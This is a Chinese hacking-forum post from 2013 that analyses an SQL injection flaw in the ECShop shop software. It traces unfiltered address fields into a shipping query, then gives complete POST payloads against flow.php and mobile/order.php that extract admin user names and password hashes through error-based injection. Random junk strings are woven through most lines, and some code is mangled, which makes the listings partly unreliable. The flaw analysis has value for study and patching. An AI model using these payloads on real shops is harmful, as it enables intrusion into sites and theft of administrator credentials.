找回密码
 立即注册
查看: 2931|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
9 I* y7 G$ M$ s; G: y7 r5 t/ N( |5 [: O
7 G6 q7 F) r/ g3 Z' K3 w; P# r- _    漏洞关键文件:4 z. p% ~- g- Z3 y

  r) ]1 y; B" w    /includes/lib_order.php
& I- n8 _  V  k% G) A9 _: f/ N& e) _2 z' a# O0 v
    关键函数:7 w" ]5 U+ c  D* D" V( J" W% C2 ]% X+ M

& q8 W- f5 b4 n" Q
, d2 V) r4 |+ n/ Q/ K3 r" f
) M2 b- }7 F% u* o3 g01     function available_shipping_list($region_id_list) 4 R+ ^) u- ~* \
1 Y  @3 }0 |0 c4 _9 U$ j' B( f
02 {
' d9 L/ C" Z1 m8 J' l9 K: |; C$ K% x# X  p5 v9 f& h8 v* o" u
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
, ?4 L1 _) L& f6 a
' Y$ a' {- l" E6 G  a9 W: q04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 9 N# Q9 u  E3 e" x
  a- _; \( ]2 j
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
: g3 y* Y' s6 M# {8 f- c2 ?& h: G" P3 \# a, T8 ~
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
. Q5 \. i1 x; f, \- I6 I) T+ T# {6 V) N. V. ~  @1 A  U6 _
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. - n! Y$ a( e4 V$ ?8 Z% \, R5 L
. V+ |+ T" \" ]5 i* U4 f# ]. A3 O' H
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
- V. }9 ?+ N- |2 O9 s6 H  o& z0 {) B5 I
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
+ k. e/ m% N7 V8 q0 v, q+ o
# {) P/ w4 ]$ S3 n) E5 W10   / ~, J; x- U# V) B7 y+ z/ W( D, m
" d6 T  @7 |2 b% }
11     return $GLOBALS['db']->getAll($sql); - |! c3 j' j* B# ^7 p% |. y
! F( _7 d1 e, r' \6 A
12 }
* b# k2 w8 w3 w* n" _# a2 h; p, O
0 r" U5 C) n9 y! [显然对传入的参数没有任何过滤就带入了查询语句。
! J$ U4 O9 H& Q  x! t " Z- Z' B% t! s8 ~. `
下面我们追踪这个函数在flow.php中:: a: L1 I! Z. Q* D7 V8 l3 k
第531行:   9 K; L& Q* g, j0 k3 r9 f, y7 ?7 {9 C

- O2 O2 H. C! o/ c8 ~1 $shipping_list     = available_shipping_list($region); 8 x& ]: T& c3 v- e: r/ z

" I: O6 v7 }0 O: ^
2 V( I# Q, ]- @) {+ p: t8 d  y. E8 `8 ]5 D7 R( @9 d0 R
/ g/ Q3 s9 M) v) C5 m7 E
7 a  E; H$ K+ D; c
再对传入变量进行追踪:  A- ~6 R; I# [; Q

' o$ X/ m$ A. ^* H# t& l/ t" h第530行:   
0 z; s2 c# P+ u. g
5 s  b0 P* S8 ?7 h) `2 ?1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 0 _' s/ m6 E9 U1 q7 Q
- q6 l1 w$ `- u/ R; b: V( ?+ ?
0 @# F9 X7 {! W1 c) B6 n7 O- K

1 G$ }( ^9 H8 l ; a+ e# z1 b$ s, a' W$ y

$ ]2 n* ?$ M( C- o7 s2 z第473行:        
' {! J+ Q* c- ]- g% [1 z! i. [6 {0 e) m5 ]/ t% H
1 $consignee = get_consignee($_SESSION['user_id']); " _7 ^- P6 H2 b  q' G1 c
0 e+ o% c( M+ t, \" v
到了一个关键函数:- W/ G5 s3 b1 H* E
' m- e" _& z+ O4 @4 b
/includes/lib_order.php
" h6 M5 N& n) [/ _8 k& t: j  ~* k& d. z! e+ \

! L; O2 ~& W1 d2 y& u: b. i% u( t: A9 `" L
1 r1 `5 z. q) D  r8 w, w

1 M! G% _) [- }; D9 X  T0 E01 function get_consignee($user_id) - T0 c" @; [" u3 R- }! }
6 O  t! [3 l( V2 M
02 { 9 D( @' ^5 i# ?$ N3 \, A

5 m( L% v% }0 P" ^03     if (isset($_SESSION['flow_consignee'])) 9 E7 m& b. N( s/ w

) x  _# H( i( `' S/ j4 Y04     {
+ B) O4 E5 l- k# O- w
, c' l" m  ~- X$ u05         /* 如果存在session,则直接返回session中的收货人信息 */ % ]2 S, Q0 s/ ~* F/ g
$ J$ R8 H0 d7 ]5 ~) ^9 W
06   9 e2 q* M5 _7 y. t

3 k) i0 Z/ w+ |4 N# Q! e07         return $_SESSION['flow_consignee'];
5 k! t+ ]5 ~1 ~  K
. W7 ~/ }2 s# \. ^7 N8 o08     } " d  a$ P3 n$ o! Y3 t! \
3 p" `5 D) k* a$ ~  n+ K
09     else
; |1 u) i, E9 |5 W
4 u5 Q8 {( `3 y10     { ) d% B( i+ I! V$ G: d
" ?+ z2 e; J3 K- E' E
11         /* 如果不存在,则取得用户的默认收货人信息 */
/ ?" Q; e6 ]" l9 k9 U9 k: p) X! D" n
12         $arr = array(); 7 X' ^0 e  d) u. T9 A- R8 i( [

- O& t9 m; @  @; m: {& j* M13   2 v! v2 h: y' F; t0 V; k
  B+ O4 X' D7 f$ r* I6 ^
14         if ($user_id > 0)
$ v" {, l# z3 s8 M' D
, [* N2 a3 C  r15         {
/ }* I& t7 ?+ c( B4 {9 m4 I3 F$ h! O! ~* y5 v; P0 X
16             /* 取默认地址 */ - x+ e7 w& d3 Q/ P0 {6 b/ G; ~/ [

2 k4 k, {9 m6 R! N+ Z2 h0 U17             $sql = "SELECT ua.*". & w, B+ g0 v- X" r# S1 {
2 Y" z( f9 b+ r  j% s
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ! g& S7 r# R5 q. \+ J
$ O0 ]. I" [% }
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; + ~" y& H& d& ^2 \. k" B( H5 [

! H3 p! q+ O5 V* [8 u; ~20   
, E' G" }! }! n2 ^0 j
: [% ~. r, w. P8 f' z. I# W; M3 s21             $arr = $GLOBALS['db']->getRow($sql); / a! G- n9 b6 S  p- w5 W) k5 T

8 B0 ^$ w: `1 x7 G22         } : H4 K3 M8 R$ v! D4 ]' ?2 o+ X
$ T: Q1 J# d  X  s- M; [  s
23   7 ^% Q. z" E) q
' b1 P, w3 I/ ~2 ^1 G
24         return $arr; , I. Q& s2 q, H2 m6 ]

8 v9 r# O1 D# B) i% J1 B/ m25     }
* L! i# c% c0 W- l0 Y% }$ F; d4 s: n8 n* l
26 }
, Q" Z: C  c' R+ k4 U8 Y+ k$ }+ w* K* |- M
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?: e0 B- b" r6 \- q: E
+ ]6 s& d& p, w- L- q4 L) X' o
) y" Q7 p% j6 f: q2 K; Q
, ~9 _. M* T; v# ?" T3 F
关键点:- M* Z0 s& K2 u% U  G6 u0 k/ a- R( J

' W* V* k4 ^! r2 c3 ]第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);# A9 E. V$ R" h  {$ P

& \. E6 o3 w; \* ^这里对传入参数反转义存入$_SESSION中。
: Y. j; D( W0 ?+ F" N
+ Y1 c/ S2 I5 `" E* e
0 A- D2 u9 c: T; U6 Q0 h) l( r* b" H: |3 v7 A
然后看下:
0 O$ \0 I) }* D% }# h; e/ y0 E) W  x1 e
# L8 y/ O" [& q 7 Y: W! ^+ u8 S  S: u

) }0 S  S4 X* V   
' u4 [# q: i9 d3 y5 t) q4 O) Q
+ {0 l1 |/ P7 G4 g01 $consignee = array(
/ c: `9 e( T9 f3 ?5 z4 X7 S" V$ ^8 N3 m5 n) I5 f" ~5 O
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), . |9 T4 o; G( E- L8 s& E

* ~5 i1 W4 q9 D6 C/ W% x03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
5 H0 p; r- N  C. k) |! c
5 u' Q/ Z! q2 Y7 H04         'country'       => empty($_POST['country'])    ? '' _POST['country'], * N2 F0 a4 U# l2 E
$ ]! {5 Q/ L5 t5 j5 \
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
! Q9 z# L, f$ ]4 X7 z+ G% d& ?- _& W. P& U2 C
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], ) g8 P( b# q' x" }5 s; S

0 u1 J( @0 f! C, r$ N; t: j5 K07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
- v. k! w$ n: y8 p- u, Q8 E/ m* ^
% [9 M  h6 c* {: M( ]: E% K08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
+ K: s: W, j5 v1 Y9 `3 {0 s" J, h
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 4 v  j* J4 A- w2 F$ i

" A+ J5 e. H8 X, n10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), # N' ~1 s4 H$ ~! A& V, ~
4 u+ C. ]- y' r
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
8 g, J; c- C- L3 D, c1 T' T) y
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
8 Q1 r1 y# P+ a7 A& H9 v0 Q4 S" r
# e# w+ ^$ b) |+ D4 }6 y13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 0 v: X4 w( ^! B/ j2 H  j7 y
- t8 \8 q- T( w: |( P
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], 7 k2 y5 k+ w$ e3 Q
" j  d9 j) [/ G+ f9 n+ @
15     ); 2 ?5 X. v, s/ ]3 _$ A' h
/ C9 Z* [2 n1 |, I* v4 W
好了注入就这样出现了。& s& y2 {. F" ~* P

0 K% H7 Z) t5 t6 Z  d==================
; Z2 b/ G% o( e+ i- P- f2 o2 R, `# H5 k4 g9 T
注入测试:) l% X$ I) I2 b) B6 m8 U

% B- N% Y2 s1 r环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)+ |( P6 R) Z2 V( ~4 v2 {& r# s
- z7 A7 u0 F; X
测试程序:ECShop_V2.7.3_UTF8_release1106
9 Z2 W/ r$ b$ A7 o& B8 H1 X& z% [$ e2 S9 h
7 \- F: h+ Y  [- |% |
3 }: `, I5 ]9 W4 D! @2 x8 N
1.首先需要点击一个商品加入购物车7 k- R) X5 \4 ^4 Y% K

$ y2 R" x0 S. G" d: [2.注册一个会员帐号
# o7 ?) K- W1 J4 b3 J0 F- ]6 h+ v& g
3.post提交数据' k$ n0 z4 H0 |& u. Z

# V  b' e( m; Y5 c3 G( Q
( I3 P  S; H  E* I: m$ V( J
7 {* V9 K$ z5 k7 I1 http://127.0.0.1/ecshop/flow.php
" Y. ~- N$ f$ @7 d4 a/ e. h, s3 v' s9 b% z, A- T5 ~
2   6 J0 L/ ?+ ]' |, I
  {* T9 x4 m/ O5 @2 c2 w, I/ Q
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
" }' Q9 S0 l6 N; N8 m- x8 G举一反三,我们根据这个漏洞我们可以继续深入挖掘:# L4 s2 t4 _4 N/ x: M" }1 @% T( S5 r

! {/ h1 X4 g0 e+ w8 Z我们搜寻关键函数function available_shipping_list()) `: s" Z% [6 Q4 m

4 @* c) L0 @- p3 K% ^/ ~9 }在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
5 M, P2 d/ @( j7 k" z
% |5 |5 ]9 }5 T0 Z0 O利用exp:
2 U, F, O4 m. h4 z# ]; m, S8 [" k" b9 E% q/ W7 _
1.点击一个商品,点击购买商标  F6 r/ u3 Z0 R0 t% K

9 L* G5 f3 e0 D! j; x2.登录会员帐号! z1 s9 j- X9 R1 `% J: z* ~$ |8 w0 A
" D& Z( g% h- G1 n$ Z4 R
3.post提交:" J8 g! Z1 s8 {% O7 X; e/ @5 H

) z* A# [, r! o* }http://127.0.0.1/ecshop/mobile/order.php' v8 v" B% ]% [% s7 H+ e# j# O

" i8 `& Z  @* H5 k: f6 j" F" a1 r
" O) o0 s* \! o4 a! q
5 [5 v0 @8 I% e8 ?/ Ycountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=3 }9 }3 X/ _( t+ j, s1 i; |

, E0 v2 E! I# \. u0 |1 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表